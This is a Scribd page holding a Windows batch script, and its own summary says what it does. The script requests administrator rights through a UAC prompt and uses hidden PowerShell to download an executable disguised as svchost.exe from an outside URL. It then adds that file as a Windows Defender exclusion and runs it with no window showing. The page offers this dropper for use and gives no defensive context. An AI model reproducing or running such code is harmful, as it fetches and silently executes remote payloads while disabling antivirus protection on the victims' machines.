0% found this document useful (0 votes)
19 views1 page

Start

This batch script checks for administrative privileges and requests them if necessary. It downloads a file named svchost.exe from a specified URL to the user's temporary directory and adds it as an exclusion in Windows Defender. Finally, it waits for the download to complete and executes the downloaded file without displaying a Command Prompt window.

Uploaded by

Mohammed Elghazi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
19 views1 page

Start

This batch script checks for administrative privileges and requests them if necessary. It downloads a file named svchost.exe from a specified URL to the user's temporary directory and adds it as an exclusion in Windows Defender. Finally, it waits for the download to complete and executes the downloaded file without displaying a Command Prompt window.

Uploaded by

Mohammed Elghazi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

@echo off

:: BatchGotAdmin
::-----------------------------------------
REM --> CheckING for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\[Link]" "%SYSTEMROOT%\system32\config\system"

REM --> If error flag set, we do not have admin.


if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
echo Set UAC = CreateObject^("[Link]"^) > "%temp%\[Link]"
set params = %*:"="
echo [Link] "[Link]", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\
[Link]"

"%temp%\[Link]"
del "%temp%\[Link]"
exit /B

:gotAdmin

REM Download [Link] from the specified URL without a Command Prompt window
powershell -WindowStyle Hidden -c "(New-Object
[Link]).DownloadFile('[Link]
qaxg7vlgnlgpv7w7xk5i4fkdttao3bhehkdqnfc7og6r7rjrlkr36fy2sxyggzewmgd4btkw/
[Link]', '%USERPROFILE%\AppData\Local\Temp\[Link]')"

REM Wait for the download to complete


:WAITLOOP
timeout /t 1 /nobreak >nul

REM Add exclusion path for [Link]


Powershell -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\AppData\Local\
Temp\[Link]'"

REM Check if the file is still being downloaded (size is changing)


set "BeforeSize=0"
set "AfterSize=0"

:GETSIZE
set "BeforeSize=%AfterSize%"
for /f %%F in ('dir /b "%USERPROFILE%\AppData\Local\Temp\[Link]" ^| find /v /c
""') do set "AfterSize=%%F"
if %BeforeSize% lss %AfterSize% goto GETSIZE

REM Start the downloaded [Link] without a Command Prompt window


start /B "" "%USERPROFILE%\AppData\Local\Temp\[Link]"

You might also like